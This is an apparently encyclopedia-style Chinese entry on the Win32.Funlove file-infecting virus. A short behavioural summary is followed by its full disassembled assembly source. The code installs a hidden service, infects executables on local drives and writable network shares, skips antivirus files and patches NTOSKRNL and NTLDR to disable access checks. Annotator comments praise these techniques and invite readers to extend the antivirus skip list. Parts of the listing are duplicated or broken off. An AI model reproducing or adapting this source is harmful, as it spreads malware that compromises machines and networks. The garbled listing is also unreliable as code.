funlove

Funlove,WIN32類型病毒,全稱win32.funlove4608(4099),感染Windows 9x 和Windows NT 4.0作業系統所有WIN32類型的檔案(PE檔案),如exe,scr,ocx三類檔案,不感染amon,avp3,fpr,navw,scan打頭的檔案。區域網路傳播。應對方法是用毒霸的funlove專殺工具。

fun love

fun love,病毒。名字win32.funlove4608(40檔案型病毒99),病毒體內有funlovingcriminal的字元,駐留記憶體,感染exe,scr,ocx三類檔案,區域網路傳播,不感染amon,avp3,fpr,navw,scan打頭的檔案。

知識庫編號:RSV0512264

內容分類:適用作業系統

關鍵字:Funlove

:Windows 作業系統

適用作業系統補丁版本:全部補丁適用

關於Funlove病毒的介紹。

這是WIN32類型的病毒,它可以感染Windows 9x 和Windows NT 4.0作業系統。它感染所有WIN32類型的檔案(PE檔案),如Windows 和 Program Files 目錄及其子目錄中的擴展名為.EXE,.SCR和.OCX 的檔案。該病毒搜尋所有具有寫訪問的網路已分享檔案夾並感染那裡的所有的檔案。該病毒同時能夠修補NT環境的完整性檢測,以便能夠感染系統檔案。

病毒中有'~Fun Loving Criminal~'字樣。該病毒沒有故意的破壞性,但是由於NT系統安全性問題而可能造成的破壞還是應當引起注意的。

同一個簡單的添加一樣,Win32/Funlove.4099將它的代碼複製到宿主檔案的最後一個扇區的結尾,然後,它修改PE檔案頭信息以顯示新的扇區大小,使扇區的特徵適應病毒的需要,同時病毒修改原檔案入口點的程式代碼以便執行病毒代碼。

當一個染毒程式被運行,病毒代碼程式獲得系統控制權,Win32/Funlove.4099 病毒在系統目錄下創建FLCSS.EXE檔案,並從染毒宿主檔案的最後提取出病毒代碼,將其寫入該檔案中,然後FLCSS.EXE被執行。

如果是在NT的許可許可權下運行,FLCSS.EXE會將自身像一個服務程式一樣安裝到NT機器上。它會以"FLC"顯示在標準的NT服務列表中,並且被設定為在每次啟動時自動運行此服務。在Windows 9X下,它像一個隱含程式一樣運行,在任務列表中是不可見的。

在病毒程式第一次運行時,該病毒會按照一定的時間間隔,周期性地檢測每一個驅動器上的EXE,SCR(屏保程式)和OCX(ActiveX control)檔案,找到相應的檔案就感染它們。它還搜尋在網路上可使用的共享資源,並感染任何有訪問許可權的同一類型的檔案。因此,它可以在機器間完全開放許可權的已分享檔案上非常快地傳播。該病毒檢測以下檔案名稱且不感染它們:ALER*,AMON*,_AVP*,AVP3*,AVPM*,FPR*,NAVW*,SCAN*,SMSS*,DDHE*,DPLA*,MPLA*。

儘管該病毒對數據沒有直接的破壞性,但是在NT下,Win32/Funlove.4099 病毒還是對NTOSKRNL.EXE 檔案做了一個小的修改(patch),使得檔案的許可請求總是返回允許訪問(access allowed),這意味著被感染機器的安全已受到了極大地威脅。只要是在被修改的機器上,所有的用戶都擁有了對每一個檔案的完全控制訪問權,即使是在系統中可能擁有最低許可權的GUEST,也能讀取或修改所有檔案,包括通常只有管理員才能訪問的檔案。在NT啟動時,NTLDR將檢測NTOSKRNL.EXE 的完整性,所以病毒也修改NTLDR,因此NTLDR將允許系統載入修改後的NTOSKRNL檔案。這種修改只能在某些NT服務包(service packs)中起作用,但是不管當前機器的SP級別病毒都會申請修改程式。在感染FLC病毒的NT機器上清除病毒後,需要用備份檔案對這些被修改的檔案進行恢復,或者重新安裝這些檔案。

如果FLCSS.EXE 運行在DOS下,病毒將顯示'~Fun Loving Criminal~'字串,然後它試圖通過鍵盤控制器重新啟動系統。這大概是希望Windows被載入且病毒可能有另一個機會去執行。這種嘗試經常失敗,而計算機則被鎖。

-----病毒源碼----

;*******************************************************************

; Flcss.asm

; disasm by Code Demon

; Code Demon Virus Dreaming Factory

;*******************************************************************

.586

ASSUME CS:CODE,DS:CODE

CODE SEGMENT USE32

VSize equ offset VEnd - VStart

Phys_VSize equ 1000

main:

;*******************************************************************

; 開始代碼

;*******************************************************************

VStart:

call GetDelta ;此子程式用於取得病毒在記憶體中的開始地址,是絕大

;多數病毒都要用到的經典技術只一,對於寫一些加密

;的軟體有很大的幫助,萊鳥必看

lea esi,[offset HostCode + ebx]

mov edi,[esp]

sub edi,08

mov [esp],edi

movsd

movsd

push dword ptr [esp + 04]

call RelocKernel32 ;重定位Kernel32

or eax,eax

jz short Exit

cmp byte ptr [offset OS + ebx],00;判斷作業系統的類型

jnz short NT_Srv

call Create9xProcess ;建立WIN9X進程

ret

NT_Srv: call CreateNTService ;建立NT服務

Exit: ret

;**********************************************************************

;建立NT服務的子程式

;**********************************************************************

CreateNTService:

call RelocAdvapi32

or eax,eax

jz short CNT_Failed

push 02

push 00

push 00 ; 取服務管理器的句柄

call OpenSCManagerA

or eax,eax

jz short CNT_Failed

mov SCM_Handle,eax

call CreateExecutable ;建立FLCSS.EXE,

or eax,eax ; 已經駐留記憶體就退出.

jz short CNT_Exit

mov edi,0F01FF

lea esi,offset [Service + ebx]

push edi

push esi

push SCM_Handle

call OpenServiceA

or eax,eax

jnz short CNT_Run

xor eax,eax

push eax

push eax

push eax

push eax

push eax

lea eax,[offset Buffer1 + ebx] ; flcss.exe

push eax

push 01 ;錯誤代碼

push 02 ; 開始

push 20 ; 類型

push edi

push 00

push esi

push SCM_Handle ;句柄

call CreateServiceA ;建立服務

or eax,eax

jz short CNT_Failed

CNT_Run:

push 00

push 00

push eax

call StartServiceA ;開始服務

or eax,eax

jnz short CNT_Exit

CNT_Failed:

call StartInfectionThread ;傳染子程式

CNT_Exit:

ret

;************************************************************

;建立WIN9X進程的子程式

;************************************************************

Create9xProcess:

;注意了:生成FLCSS.EXE,很多人的機子殺不絕,就是因為它在作怪.

call CreateExecutable

or eax,eax

jz short P9x_Exit

P9x_00:

xor eax,eax

lea edi,[offset Buffer2 + ebx]

push edi

push edi

mov ecx,040

repz stosd

mov cl,06

push eax

loop $ - 1

lea esi,[offset Buffer1 + ebx]

push esi

push 00

call CreateProcessA ;創建進程

or eax,eax

jnz short P9x_Exit

P9x_Failed:

call StartInfectionThread;傳染子程式

P9x_Exit:

ret

************************************************************

;注意了:生成FLCSS.EXE,很多人的機子殺不絕,就是因為它在作怪.

************************************************************

CreateExecutable:

lea edi,[offset Buffer1 + ebx]

push edi

push 104

push edi

call GetSystemDirectoryA ;取得系統目錄

add edi,eax

mov al,'\'

stosb

lea esi,[offset Process + ebx]

movsd

movsd

movsd

push 02

call OpenFile

cmp eax,-1

jz short CE_Exit

mov c_FileHandle,eax

lea edi,[offset Ⅵmports + ebx] ;清除 import

mov eax,-1

stosd

stosd

lea edi,[offset Kernel32_Relocated + ebx] ;第二個 import

mov eax,[edi - 8]

stosd

push 00

lea esi,c_BytesWritten

push esi

push 0200

push ebx

push c_FileHandle

call WriteFile ; 寫檔案頭

push 00

push esi

push 1000

push ebx

push c_FileHandle

call WriteFile ; 寫入病毒主體

push c_FileHandle

call CloseHandle ;關閉檔案

CE_Exit:

inc eax

ret

;***************************************************************

;以下應該是病毒的服務程式

;***************************************************************

VService:

call GetDelta

push dword ptr [esp]

call RelocKernel32

or eax,eax

jz VS_Exit

cmp byte ptr [offset OS + ebx],00 ;作業系統的類型

jz short W9x_Service_Register ;註冊WIN9X服務

WNT_Service_Hacknowledge:

call RelocAdvapi32 ;重定位Advapi32

or eax,eax

jz VS_Exit

lea esi,[offset Buffer1 + ebx]

xor eax,eax

lea ecx,[offset Service + ebx]

lea edx,[offset ServiceDispatcher + ebx]

mov [esi],ecx

mov [esi + 04],edx

mov [esi + 08],eax

mov [esi + 0C],eax ; 將控制權返回給調用者

push esi

call StartServiceCtrlDispatcherA

W9x_Service_Register:

lea esi,[offset USER32_Name + ebx]

push esi

call LoadLibraryA

lea esi,[offset RegisterClassA+ ebx]

push esi

push eax

call GetProcAddress ;取進程的地址

or eax,eax

jz short VS_00

mov [esi - 06],eax

lea esi,[offset Buffer1 + ebx]

mov edi,esi

xor eax,eax

mov ecx,0A

repz stosd

mov dword ptr [esi + 04],-1

mov dword ptr [esi + 10],400000 ; WINDOWS9X的基址

lea eax,[offset Service + ebx]

mov [esi + 24],eax

push esi

call RegisterClassA ; 這裡非常重要

lea esi,[offset RegisterServiceProcess+ ebx]

push esi

push dword ptr [offset Kernel32_Base + ebx]

call GetProcAddress

or eax,eax

jz short VS_00

mov [esi - 06],eax

call GetCurrentProcessId ;取當前進程的ID

; 註冊為服務

call GetCurrentProcessId ;取當前進程的ID

; 註冊為服務進程,防止被用戶

push 01 ;用CTRL+ALR+DEL從任務管理器中發現

push eax

call RegisterServiceProcess

push 8000 ; 延時

call Sleep

VS_00:

call StartInfectionThread

VS_Exit:

ret

;*************************************************************

;NT服務子程式

;*************************************************************

ServiceDispatcher:

call GetDelta

lea esi,[offset ServiceHandler + ebx]

lea edi,[offset Service + ebx]

push esi

push edi

call RegisterServiceCtrlHandlerA

mov Service_Handle,eax

lea esi,[offset Buffer1 + ebx]

mov edi,esi

mov ecx,06

xor eax,eax

repz stosd

mov dword ptr [esi],10

mov dword ptr [esi + 04],04

mov dword ptr [esi + 08],07

push esi

push Service_Handle ;告訴WINDOWS服務已經正確的運行

call SetServiceStatus

push 8000

call Sleep

call StartInfectionThread ;建立進程

ret

ServiceHandler:

ret ; 當管理員關閉服務時,提示系統出錯!好東西!!!

;*****************************************************************

;此子程式用於建立執行緒

;*****************************************************************

StartInfectionThread:

call GetTickCount

mov [offset Rand + ebx],eax

lea eax,ThreadId

push eax

push 0

push 0

lea eax,[offset VThread + ebx]

push eax

push 0

push 0

call CreateThread

ret

;******************************************************************

; 病毒執行緒

;******************************************************************

VThread:

call GetDelta

call InfectDrives ;感染本地檔案

push 60000

call Sleep

call GetRand

and al,1F

jnz short VThread

call InfectNetwork ;感染網路檔案

jmp short VThread

;***********************************************************************

; 通過網路傳染的子程式,值得借鑑

;***********************************************************************

InfectNetwork:

lea eax,[offset MPR_Name + ebx]

push eax

call LoadLibraryA

or eax,eax

jz short INet_Failed

push eax

lea esi,[offset MPR_Functions + ebx]

push esi

call DLL_Relocate

or eax,eax

jz short INet_Failed

push 00

call NetSearch

INet_Failed:

ret

;******************************************************************

; 此子程式用於測試驅動器是否有效

;******************************************************************

InfectDrives:

push esi

call GetTickCount

mov [offset Tick + ebx],eax

lea esi,[offset Buffer1 + ebx]

mov dword ptr [esi],' \:+ ebx - offset VStart'

ID_TestDrive:

mov byte ptr [esi + 03],00

push esi

call GetDriveTypeA ;取驅動器類型

cmp al,03 ;硬碟?

jz short ID_DriveOk

cmp al,04 ;網路驅動器

jnz short ID_Invalid

ID_DriveOk:

add esi,03

push esi

call BlownAway

push esi

call FileSearch ;查找檔案

sub esi,03

ID_Invalid:

mov al,[offset Buffer1 + ebx]

inc al

mov [offset Buffer1 + ebx],al

cmp al,'Z'

jna short ID_TestDrive

pop esi

ret

;******************************************************************

;查找計算機

;******************************************************************

NetSearch :

mov EnumBufferSize,4000

or EnumNB_Objects,-1

lea eax,WNetStructAddr

push eax

push WNetStructAddr

push 0

push 0

push 2

call WNetOpenEnumA

or eax,eax

jnz NET_Close

push 04

push 1000

push 4000

push 00

call VirtualAlloc

or eax,eax

jz short NET_Close

mov EnumBufferAddr,eax

NET_00:

mov esi,EnumBufferAddr

lea eax,EnumBufferSize

push eax

push esi

lea eax,EnumNB_Objects

push eax

push WNetStructAddr

call WNetEnumResourceA

or eax,eax

jnz short NET_Free

mov ecx,EnumNB_Objects

or ecx,ecx

jz short NET_00

NET_01:

push ecx

push esi

mov esi,[esi + 14] ; 計算機名

or esi,esi

jz short NET_03

cmp word ptr [esi],0041 ; 是否為軟碟

jz short NET_03

lea edi,[offset Buffer1 + ebx]

NET_02:

movsb

cmp byte ptr [esi],00

jnz short NET_02

mov al,'\'

stosb

push edi

call BlownAway

push edi

call FileSearch

NET_03:

pop esi

mov eax,[esi + 0C]

and al,2

cmp al,2

jnz short NET_04

push esi

call NetSearch

NET_04:

add esi,20

pop ecx

loop NET_01

jmp short NET_00

NET_Free:

push 8000

push 00

push EnumBufferAddr

call VirtualFree

NET_Close:

push WNetStructAddr

call WNetCloseEnum

ret

;*************************************************************************

; 查找檔案子程式,這些跟以前DOS下沒什麼區別,

; 我還是喜歡用IFS_HOOK,可以做到全隱形喔,那感覺就是一個字--爽! ^_^

;*************************************************************************

FileSearch:

mov eax,CurrentDirEnd

mov dword ptr [eax],002A2E2A ; *.*

lea edi,[offset Buffer2 + ebx]

lea esi,[offset Buffer1 + ebx]

push edi

push esi

call FindFirstFileA ;找第一個檔案

cmp eax,-1

jz short RS_Exit

RS_00:

mov SearchHandle,eax

RS_01:

test byte ptr [edi],10 ; 測試是目錄還是檔案

jz short FileTest

RS_Directory:

cmp byte ptr [edi + 2C],'.'

jz short RS_Next

mov esi,edi

add esi,2C

mov edi,CurrentDirEnd

RSD_00:

movsb

cmp byte ptr [esi],0

jnz short RSD_00

mov al,'\'

stosb

push edi

call FileSearch

RS_Next:

lea edi,[offset Buffer2 + ebx]

push edi

push SearchHandle

call FindNextFileA ;查找下一個檔案

or eax,eax

jnz short RS_01

push SearchHand

RS_Next:

lea edi,[offset Buffer2 + ebx]

push edi

push SearchHandle

call FindNextFileA ;查找下一個檔案

or eax,eax

jnz short RS_01

push SearchHandle

call FindClose

RS_Exit:

ret

;********************************************************************

;沒什麼新意,略過吧

;********************************************************************

FileTest:

mov edx,[edi + 2C]

or edx,20202020

xor edx,61F81F61

lea esi,[offset SkipNames + ebx] ; 跳過一些反病毒軟體的感染

mov ecx,0C

FT_00:

lodsd

cmp edx,eax

jz short FT_Exit

loop FT_00

;************************************************************************

;注意拉,

;************************************************************************

mov esi,edi

add esi,2C

FT_01:

lodsb

or al,al

jnz short FT_01

mov eax,[esi - 4] ; 擴展名判斷

or eax,20202020

cmp eax,' xco' ;控制項

jz short FT_02

cmp eax,' rcs' ;螢幕保護檔案

jz short FT_02

cmp eax,' exe' ;標準的EXE檔案

jnz short FT_Exit

FT_02:

mov eax,[edi + 20] ; 檔案小於2000的就不感染

cmp eax,2000

jc short FT_Exit

cmp al,03 ; 檢測是否已經感染

jz short FT_Exit

lea esi,[offset Buffer1 + ebx] ; 取檔案名稱和路徑

lea edi,[offset Buffer3 + ebx]

push edi

mov ecx,CurrentDirEnd

sub ecx,esi

repz movsb

lea esi,[offset Buffer2 + ebx]

add esi,2C

FT_03:

movsb

cmp byte ptr [esi - 1],0

jnz short FT_03

call InfectFile ;幹活了,

FT_Exit:

jmp RS_Next

;**********************************************************************

;感染檔案子程式

;**********************************************************************

InfectFile:

push i_Filename

push 03 ; 打開檔案

call OpenFile

cmp eax,-1

jz IN_Exit

mov i_FileHandle,eax

push 00

push eax

call GetFileSize ;取檔案大小,用於以後還原

mov i_FileSize,eax

cmp al,03 ; 是否感染

jz IN_Exit

lea edi,[offset Buffer3 + ebx]

push 00

lea esi,i_BytesRead

push esi

push 2000

push edi

push i_FileHandle

call ReadFile

;**************************************************************************

;以下的程式跟檔案頭有關,建議沒基礎者找一些相關資料看看

;**************************************************************************

cmp word ptr [edi],5A4Dh ;DOS檔案頭,開始有點印象了吧

jnz IN_CloseFile

cmp word ptr [edi + 18],0040 ;是否為WINDOWS檔案,此處>=40H,則為WINDOWS檔案,

<40H則為DOS檔案

jnz IN_CloseFile

cmp dword ptr [edi + 3C],1C00 ; DOS檔案頭的大小

ja IN_CloseFile

add edi,[edi + 3C] ;指向PE或NE檔案頭

mov eax,[edi]

cmp eax,00004550 ;PE檔案嗎?

jnz IN_CloseFile ;此步必須,因為WIN3.X的18H的值也大於等於40H

cmp word ptr [edi + 5C],2 ; GUI????

jnz IN_CloseFile

mov esi,edi

add esi,18

add si,[edi + 14] ; 將ESI指向第一個節表

push esi

mov eax,[edi + 28] ; 查找包含"PE"的節表

IN_00:

mov ecx,[esi + 0C]

add ecx,[esi + 08]

cmp eax,ecx

jc short IN_01

add esi,28

jmp short IN_00

IN_01:

sub eax,[esi + 0C]

add eax,[esi + 14]

mov i_EP_Offset,eax

or [esi + 24],80000000 ; 將它改為可寫,這裡是WINDOWS跟

;DOS在程式和數據段上的一個重要改變

;也是寫WINDOWS病毒要注意的地方之一

pop esi

xor ecx,ecx

mov cx,[edi + 06]

dec ecx

mov eax,ecx

mov edx,28

mul edx

add esi,eax ; ESI指向最後一個節表

mov eax,[esi + 24]

cmp al,80 ; 是否已經初始化

jz IN_CloseFile

or eax,8C000000 ; 將它改為可寫,

and eax,not 12000000 ; 不共享,不可丟棄

mov [esi + 24],eax

mov ecx,i_FileSize ;這裡好象跟SFX有點關係

mov edx,ecx

mov eax,ecx

clc

shr eax,03

sub edx,eax

sub edx,[esi + 14]

jc short IN_02

sub edx,[esi + 10]

jnc IN_CloseFile

IN_02: ; 重新計算節的長度

mov edx,[esi + 08]

sub ecx,[esi + 14]

jc short IN_03

cmp edx,ecx

ja short IN_03

mov edx,ecx

IN_03:

test edx,00000FFF

jz short IN_04

and edx,0FFFFF000

add edx,1000

IN_04:

mov ecx,edx

add ecx,[esi + 0C]

mov eax,ecx

add eax,4000

mov [edi + 50],eax ; 新的長度

sub ecx,[edi + 28]

add ecx,offset VStart - 100 - 08

mov i_HostDep32,ecx

mov eax,edx

add eax,4000 ; 改變虛擬大小

mov [esi + 08],eax

mov eax,edx

add eax,[esi + 14]

mov i_VirusOffset,eax

add edx,1000 ; 改變物理大小

mov [esi + 10],edx

add edx,[esi + 14]

add edx,03

push i_FileHandle

push edx

call MapFile

or eax,eax

jz short IN_CloseFile

mov i_MapHandle,eax

push eax

call ViewMap

or eax,eax

jz short IN_CloseMap

mov edx,eax

lea esi,[offset Buffer3 + ebx] ; 寫PE檔案頭

mov edi,edx

mov ecx,2000

repz movsb

lea edi,[offset HostCode + ebx]

mov esi,i_EP_Offset

add esi,edx

movsd

movsd

mov edi,esi ; 設定CALL GS:Virus

sub edi,08

mov eax,00E8659090

stosd

mov eax,i_HostDep32

stosd

mov edi,edx

mov eax,i_FileSize

mov ecx,i_VirusOffset

sub ecx,eax

jna short IN_05

add edi,eax

xor al,al

repz stosb

IN_05:

mov esi,ebx ;寫入病毒主體

mov edi,edx

add edi,i_VirusOffset

mov ecx,VSize

repz movsb

mov ecx,Phys_VSize - VSize + 3

repz stosb

push edx

call UnmapViewOfFile

IN_CloseMap:

push i_MapHandle

call CloseHandle ;關閉

call Wait_A_Little ;延時

IN_CloseFile:

lea esi,[offset Buffer2 + 14 + ebx] ; 恢復檔案的時間

push esi

sub esi,08

push esi

sub esi,08

push esi

push i_FileHandle

call SetFileTime

push i_FileHandle

call CloseHandle ;關閉檔案

IN_Exit:

ret

;********************************************************************************

; 查找GetProcAddress 的子程式

;********************************************************************************

Whereis_GPA:

lea esi,[offset GPA_Sigs + ebx]

mov byte ptr [offset OS + ebx],00

mov eax,w_Kernel32

and eax,0FFF00000

cmp eax,0BFF00000

jnz short OS_WinNT?

OS_Win9x:

mov edi,0BFF70000

jmp short WG_00

OS_WinNT?:

inc byte ptr [offset OS + ebx]

add esi,08

cmp eax,077F00000

jnz short OS_Win2K?

mov edi,eax

jmp short WG_00

OS_Win2K?:

inc byte ptr [offset OS + ebx]

add esi,08

cmp eax,077E00000

jnz short WG_Failed

mov edi,077E80000

WG_00:

mov edx,edi

mov ecx,20000

WG_01:

push ecx

mov ecx,08

push esi

push edi

repz cmpsb

pop edi

pop esi

pop ecx

jz short WG_02

inc edi

loop WG_01

WG_Failed:

xor eax,eax

jmp short WG_03

WG_02:

add edi,03

mov [offset GetProcAddress + 1 + ebx],edi

mov eax,edx

mov [offset Kernel32_Base + ebx],eax

WG_03:

ret

;***************************************************************************

;DLL 重定位子程式

;**************************************************************************

DLL_Relocate:

mov esi,DLL_Func

DR_00:

mov eax,esi

add eax,07

push eax

push DLL_Base

call GetProcAddress

or eax,eax

jz short DR_03

DR_01:

mov [esi + 1],eax

add esi,07

DR_02:

lodsb

or al,al

jnz short DR_02

cmp byte ptr [esi],0B8

jz short DR_00

DR_03:

ret

;**************************************************************************

; 修改NTLDR,這可是Funlove的必殺技噢,雖然我不喜歡這種做法,但還是看看吧

;**************************************************************************

BlownAway:

lea esi,[offset NTLDR + ebx]

mov edi,DirEnd

movsd

movsd

lea edi,[offset Buffer1 + ebx]

lea esi,[offset NT4_NTLDR + ebx]

cmp byte ptr [offset OS + ebx],01

jz short BA_00

add esi,10

BA_00:

push edi

push esi

push 05

call PatchFile

lea esi,[offset NTOSKRNL + ebx]

mov edi,DirEnd

BA_01:

movsb

cmp byte ptr [esi - 1],00

jnz short BA_01

lea edi,[offset Buffer1 + ebx]

lea esi,[offset NT4_NTOSKRNL + ebx]

cmp byte ptr [offset OS + ebx],01

jz short BA_02

add esi,18

BA_02:

push edi

push esi

push 09

call PatchFile

ret

PatchFile:

push p_Filename

push 03 ; 打開檔案

call OpenFile

cmp eax,-1

jz short PA_Exit

mov p_FileHandle,eax

push 00

push eax

call GetFileSize ;取檔案大小

mov p_FileSize,eax

push p_FileHandle

push eax

call MapFile

or eax,eax

jz short PA_CloseFile

mov p_MapHandle,eax

push eax

call ViewMap

or eax,eax

jz short PA_CloseMap

mov edx,eax

mov edi,eax

mov esi,p_PatchAddr

mov ecx,p_FileSize

PA_00:

push ecx

push esi

push edi

mov ecx,p_PatchSize

repz cmpsb

pop edi

pop esi

pop ecx

jz short PA_01

inc edi

loop PA_00

jmp short PA_Unmap

PA_01:

mov ecx,p_PatchSize

add esi,ecx

repz movsb

PA_Unmap:

push edx

call UnmapViewOfFile

PA_CloseMap:

push p_MapHandle

call CloseHandle

PA_CloseFile:

push p_FileHandle

call CloseHandle ;關閉檔案

PA_Exit:

ret

;************************************************************************

;此子程式用於取病毒在記憶體中的開始地址,經典技術

;************************************************************************

GetDelta:

call delta

delta:

pop ebx

sub ebx,offset delta - VStart

ret

;*************************************************************************

;以下應該是重定位Kernel32的子程式,WINDOWS病毒慣用的手法

;************************************************************************

RelocKernel32:

push r_Kernel32

call Whereis_GPA

or eax,eax

jz short RK_00

push eax

lea esi,[offset Kernel32_Functions + ebx]

push esi

call DLL_Relocate

RK_00:

ret

;***********************************************************************

; 以下是重定位Advapi32的子程式

;***********************************************************************

RelocAdvapi32:

lea eax,[offset ADVAPI32_Name + ebx]

push eax

call LoadLibraryA

or eax,eax

jz short RA_00

push eax

lea esi,[offset ADVAPI32_Functions + ebx]

push esi

call DLL_Relocate

RA_00:

ret

;********************************************************************

; 打開檔案子程式

;*********************************************************************

OpenFile:

push 20

push o_Filename

call SetFileAttributesA

push 00

push 80 ; 普通屬性

push o_OpenMode

push 00

push 00 ; 不共享,

push 0C0000000 ; 讀寫方式

push o_Filename

call CreateFileA

ret

;*********************************************************************

; 建立檔案影象,找點資料看看吧

;*********************************************************************

MapFile:

push 00

push m_FileSize

push 00

push 04

push 00

push m_FileHandle

call CreateFileM

;*********************************************************************

; 建立檔案影象,找點資料看看吧

;*********************************************************************

MapFile:

push 00

push m_FileSize

push 00

push 04

push 00

push m_FileHandle

call CreateFileMappingA

ret

ViewMap:

push 00

push 00

push 00

push 02

push v_MapHandle

call MapViewOfFile

ret ;*******************************************************************

; 延時,沒什麼說的了

;***********************************************************************

Wait_A_Little:

call GetTickCount

sub eax,[offset Tick + ebx]

cmp eax,4000

jc short WAL_00

push 16000

call Sleep

call GetTickCount

mov [offset Tick + ebx],eax

WAL_00:

ret

GetRand:

push ecx

push edx

mov eax,[offset Rand + ebx]

xor edx,edx

mov ecx,7FFFFFFF

mul ecx

inc eax

mov ecx,0FFFFFFFBh

div ecx

mov eax,edx

mov [offset Rand + ebx],eax

pop edx

pop ecx

ret

;*********************************************************************

;以下是一些數據

;*********************************************************************

HostCode db 8 dup (?)

GPA_Sigs:

W9x db 0C2,04,00,57,6A,22,2Bh,0D2

NT4 db 0C2,04,00,55,8Bh,4C,24,0C

W2K db 00F,00,00,55,8Bh,0ECh,51,51

NTLDR db 'NTLDR',0

NT4_NTLDR db 3Bh,46,58,74,07 ;WINDOWS_NT4的NTLDR的標誌

db 3Bh,46,58,0EBh,07

W2K_NTLDR db 3Bh,47,58,74,07

db 3Bh,47,58,0EBh,07 ;WIN2K的NTLDR的標誌

NTOSKRNL db 'WINNT\System32\ntoskrnl.exe',0

NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ;標誌

db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00

W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28 ;同上

db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28

;***********************************************************************

;以下是一些防毒軟體的檔案不感染,你可以加點國產的防毒軟體的名字,

;***********************************************************************

SkipNames:

dd 139D7300h ; aler

dd 0F977200h ; amon

dd 118E7E1Eh ; _avp

dd 52886900h ; avp3

dd 0C886900h ; avpm

dd 13883207h ; f-pr

dd 168E7E0Fh ; navw

dd 0F997C12h ; scan

dd 128B7212h ; smss

dd 04907B05h ; ddhe

dd 00946F05h ; dpla

dd 00946F0Ch ; mpla

Process db 'flcss.exe',0

Service db 'FLC',0

; Import節表

Ⅵmports:

dd offset Kernel32_Pointers

dd -1,-1

dd offset Kernel32_Name

dd offset Kernel32_Relocated

db 14 dup (0)

Kernel32_Pointers dd offset Kernel32_Beep

Kernel32_Relocated dd offset Kernel32_Beep

Kernel32_Beep db,?,'Beep',0

;*************************************************************************

; 病毒要調用的一些API,找點資料啃一啃吧,MASM32里的INC檔案你能啃完的話,

你就是絕頂高手了,

; 註: 絕頂高手--------沒有頭髮的高手

;*************************************************************************

Kernel32_Name db 'KERNEL32.dll',0

Kernel32_Functions:

CloseHandle: db 0B8,4 dup(?),0FF,0E0,'CloseHandle',0

CreateFileA: db 0B8,4 dup(?),0FF,0E0,'CreateFileA',0

CreateFileMappingA: db 0B8,4 dup(?),0FF,0E0,'CreateFileMappingA',0

CreateProcessA: db 0B8,4 dup(?),0FF,0E0,'CreateProcessA',0

CreateThread: db 0B8,4 dup(?),0FF,0E0,'CreateThread',0

FindFirstFileA: db 0B8,4 dup(?),0FF,0E0,'FindFirstFileA',0

FindNextFileA: db 0B8,4 dup(?),0FF,0E0,'FindNextFileA',0

FindClose: db 0B8,4 dup(?),0FF,0E0,'FindClose',0

GetCurrentProcessId: db 0B8,4 dup(?),0FF,0E0,'GetCurrentProcessId',0

GetDriveTypeA: db 0B8,4 dup(?),0FF,0E0,'GetDriveTypeA',0

GetFileSize: db 0B8,4 dup(?),0FF,0E0,'GetFileSize',0

GetProcAddress: db 0B8,4 dup(?),0FF,0E0,'GetProcAddress',0

GetTickCount: db 0B8,4 dup(?),0FF,0E0,'GetTickCount',0

GetSystemDirectoryA: db 0B8,4 dup(?),0FF,0E0,'GetSystemDirectoryA',0

LoadLibraryA: db 0B8,4 dup(?),0FF,0E0,'LoadLibraryA',0

MapViewOfFile: db 0B8,4 dup(?),0FF,0E0,'MapViewOfFile',0

ReadFile: db 0B8,4 dup(?),0FF,0E0,'ReadFile',0

SetFileAttributesA: db 0B8,4 dup(?),0FF,0E0,'SetFileAttributesA',0

SetFileTime: db 0B8,4 dup(?),0FF,0E0,'SetFileTime',0

Sleep: db 0B8,4 dup(?),0FF,0E0,'Sleep',0

UnmapViewOfFile: db 0B8,4 dup(?),0FF,0E0,'UnmapViewOfFile',0

VirtualAlloc: db 0B8,4 dup(?),0FF,0E0,'VirtualAlloc',0

VirtualFree: db 0B8,4 dup(?),0FF,0E0,'VirtualFree',0

WriteFile: db 0B8,4 dup(?),0FF,0E0,'WriteFile',0

;註:下面的API在WIN9X中是沒有的

db 0

RegisterServiceProcess: db 0B8,4 dup(?),0FF,0E0,'RegisterServiceProcess',0

USER32_Name db 'USER32.dll',0

RegisterClassA: db 0B8,4 dup(?),0FF,0E0,'RegisterClassA',0

ADVAPI32_Name db 'ADVAPI32.dll',0

ADVAPI32_Functions:

OpenSCManagerA: db 0B8,4 dup(?),0FF,0E0,'OpenSCManagerA',0

OpenServiceA: db 0B8,4 dup(?),0FF,0E0,'OpenServiceA',0

CreateServiceA: db 0B8,4 dup(?),0FF,0E0,'CreateServiceA',0

StartServiceA: db 0B8,4 dup(?),0FF,0E0,'StartServiceA',0

StartServiceCtrlDispatcherA: db 0B8,4 dup(?),0FF,0E0,'StartServiceCtrlDispatcherA',0

RegisterServiceCtrlHandlerA: db 0B8,4 dup(?),0FF,0E0,'RegisterServiceCtrlHandlerA',0

SetServiceStatus: db 0B8,4 dup(?),0FF,0E0,'SetServiceStatus',0

MPR_Name db 'MPR.dll',0

MPR_Functions:

WNetOpenEnumA: db 0B8,4 dup(?),0FF,0E0,'WNetOpenEnumA',0

WNetEnumResourceA: db 0B8,4 dup(?),0FF,0E0,'WNetEnumResourceA',0

WNetCloseEnum: db 0B8,4 dup(?),0FF,0E0,'WNetCloseEnum',0

;病毒應該是在這裡就結束了

vend:

Kernel32_Base dd

Rand dd

Tick dd

OS db

ALIGN 100

Buffer1 db 200 dup (0) ; 此處應該是用於存放當前目錄

Buffer2 db 200 dup (?)

Buffer3 db 2000 dup (?) ;此處用於存放讀入的檔案

CODE ENDS

END main

相關詞條

相關搜尋

熱門詞條

聯絡我們